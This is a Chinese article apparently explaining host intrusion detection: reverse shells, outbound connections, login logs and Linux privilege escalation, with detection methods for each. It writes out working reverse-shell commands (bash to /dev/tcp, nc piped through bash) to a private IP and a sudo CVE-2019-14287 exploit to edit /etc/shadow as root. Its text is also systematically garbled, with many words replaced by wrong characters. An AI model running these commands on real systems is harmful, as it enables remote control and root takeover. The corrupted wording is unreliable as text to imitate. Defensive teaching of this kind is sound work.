HIDS(Host-based Intrusion Detection System),即主机入侵检测零碎。
本文会论述一些常见的主机入侵伎俩及对应的检测形式,意在抛砖引玉,欢送交换~
反弹 Shell
反弹 shell 的实质是把 bash 或 sh 过程的输入输出重定向到 socket,在 socket 中获取 stdin[0],stdout[1] 和 stderr[2] 输入到 socket。因为过程通信有较高的复杂性,所以 bash 的输入输出可能是一个 pipe。
通过 /bin/bash 反弹 shell
一个经典的反弹 shell 如下:
# 先启动 server
nc -lvv 9999
# 再启动 client
/bin/bash > /dev/tcp/10.211.55.2/9999 0>&1 2>&1 &
反弹胜利后,/bin/bash 的 file descriptor(0 1 2) 会被重定向。server 上能够管制 client 的 /bin/bash 过程的 0 1 2。
现实状况下,如果反弹 shell 的实质能够演绎为 file descriptor 的重定向,那么检测所有过程的 file descriptor 是否被重定向即可。失常状况下 0 1 2 都不会被重定位给一个 server。
检测形式
在反弹 shell 后,ps -ef
查看 /bin/bash 对应的 pid:
查看 /proc/<pid>/fd
,可能看到过程关上的 fd 来查看是否建设了 socket 连贯:
ls -al /proc/2633/fd
但只针对 fd 的 socket 数量做检测误报率会很高,因为一些失常的 server 和下载都会建设 socket,所以还要在此基础之上拿到过程的 cmdline、过程树等信息进行关键字匹配或语义剖析。
借助 pipe 反弹 shell
绝大多数的反弹 shell 都是借助重定向 socket 来和 bash 过程进行输入输出交互。如果存在管道符号,那么 bash 过程交互的则是一个 pipe:
# input server 用于发送指令
nc -lvv 7777
# output server 用于接管执行后果
nc -lvv 8888
# client
nc 10.211.55.2 7777 | /bin/bash | nc 10.211.55.2 8888 &
成果如下:
左侧输出指令,通过 socket 发送到客户端执行,后果通过 socket 返回到右侧。
此时,bash 过程的输入输出都来自其余过程的 pipe,/proc/<pid>/fd
的状况如下。能够看到 0 1 都从 pipe 获取,非 socket。如果检测反弹 shell 时,只检测 socket 则会存在漏报。
检测形式
不论做了多少层的 pipe,反弹 shell 的实质是将 server 的输出传递给 client 的 bash,因而必定存在 socket 连贯。咱们只须要递归查看 pipe 的输出,是否是来自一个 socket。例如,跟踪 pipe,发现 pipe 的过程建设了 socket 连贯,那么就存在反弹 shell 的危险。
异样外连
一台主机入侵后,入侵者往往会把数据发送进来或启动反弹 shell。个别在 IDC 的进口防火墙都会有检测异样外连行为,可能因为两头有 NAT,并不一定晓得是哪台机器过去,但即便是晓得哪台机器过去的,也不晓得是该台机器哪个程序发动的外连行为。
通常的操作,都是用 netstat
命令来获取:
但如果放在 HIDS 中实现,可能无奈应用该命令:
- 有些 Linux 机器可能没有装置
netstat
命令; - 即便有
netstat
命令,也可能因为之前的操作,导致netstat
运行时依赖的 so 库缺失或符号缺失,导致无奈执行这个命令; netstat
命令在宿主机是无奈查到 docker 里的外连行为。
所以端口和过程信息能够从 /proc
文件系统下获取,通过 /proc/<pid>/fd
获取到 socket inode(socket:[26069]),再去对应的 /proc/<pid>/net/tcp
中依据 inode 获取过程连贯到哪些机器,再对近程 IP 进行筛选,就晓得是否有外连行为。
最上面一行就是外连 IP,16 位 IP 地址用的是网络字节序,转成 10 进制后,从后往前 读就好了,而端口曾经转为本机字节序:
如果是检测 Docker 外部的外连行为,通过宿主机查看 Docker 里的过程,获取过程 ID,通过查看 /proc/<pid>/net/tcp
文件,能够看到过程监听的端口。
异样登录
通过 history、secure 日志来发现被黑客入侵时的蛛丝马迹,history 不用说了,重点介绍一下 secure log。
检测形式
通过监督 /var/log/secure
文件来发现:
Secure log 的作用是记录验证和受权方面的信息,只有波及账户和明码的程序都会记录,比方零碎的登录、SSH 登录、su 切换用户,sudo 受权,甚至增加用户和批改用户明码都会记录在这个目志文件中。
p.s. 如果发现这个日志不存在,被删除了,能够手动排查:
# ls /var/log/secure
ls: cannot access /var/log/secure: No such file or directory
查看是否有过程在应用这个文件,能够看到 rsysload 过程在应用,结尾的状态是文件曾经被删除。
# lsof | grep /var/log/secure
rsyslogd 1264 root 4w REG 8,1 3173904 263917 /var/log/secure (deleted)
查看对应 pid 号的文件描述符,能够看到对应的文件内容。
# tail /proc/1264/fd/4
Sep 20 16:47:21 hlmcen69n3 sshd[38511]: pam_unix(sshd:session): session closed for user stoneSep 20 16:47:21 hlmcen69n3 su: pam_unix(su-l:session): session closed for user rootSep 20 16:49:30 hlmcen69n3 sshd[38605]: pam_unix(sshd:session): session closed for user test01Sep 20 16:50:04 hlmcen69n3 sshd[38652]: reverse mapping checking getaddrinfo for 190.78.120.106.static.bjtelecom.net [106.120.78.190] failed - POSSIBLE BREAK-IN ATTEMPT!
用重定向的办法复原日志:cat /proc/1264/fd/4 > /var/log/secure
检测维度:登录 IP、工夫、区域、账号
本地提权
sudo 配置查看(CVE-2019-14287)
在配置文件中用了 ALL 关键词后造成的。但默认的 sudo 配置文件不受影响。当 /etc/sudoers
文件存在如下模式的配置会导致破绽的产生:
这条配置简略来说就是,test 这个用户能够应用 sudo 命令,以除了 root 以外的任意身份去执行 vim。但因为该谬误,test 实际上能够通过运行 sudo -u#-1 vim
来以 root 身份运行 vim,这违反了安全策略。
失常状况下 /etc/shadow
是无奈被普通用户拜访的:
执行以下代码:
su test
sudo -u#-1 vim /etc/shadow
普通用户能够编辑 /etc/shadow
替换 root 账号的明码。
检测形式
之所以会产生这个破绽,先决条件是 sudo 的版本 < 1.8.28,该破绽会导致用户 ID 转换为用户名的函数时,将 -1(或 4294967295)误认为是 0,而这正好是 root 用户的 User ID。
利用 SUID 二进制文件进行提权
SUID
权限只能设置二进制文件,且只有程序执行过程中为root
权限- 命令执行者要有二进制文件的执行权,并且执行时能够取得该程序的属主身份
chmod u+s filename 设置 SUID 位
chmod u-s filename 去掉 SUID 设置
检测具备 SUID 权限的文件,不轻易给文件 SUID 权限,避免 SUID 的滥用导致黑客在进入服务器时可能获取到 root 权限。
脏牛破绽(CVE-2016-5195)
COW 全名为 Copy-on-write
fork 之后,内核将父过程中所有内存页的权限都设置为 read-only,之后子过程内存指向父过程,当父过程或子过程执行了写入操作时,因为内存页是 read-only 的,就会触发 page-fault,进而进入内核中断例程中,在中断例程中内核将触发异样的页复制一份,至此,父子过程就领有了各自的内存。
https://www.freebuf.com/articles/network/283313.html
Glibc 编译破绽(CVE-2018-1000001)
glibc 2.26 版本及之前版本中的 Realpath 函数存在缓冲区下溢破绽。GNU C 库没有正确处理 getcwd()
零碎调用返回的相对路径,并且没有对缓冲区边界进行查看,造成 glibc 缓冲区下溢破绽。
https://paper.seebug.org/528/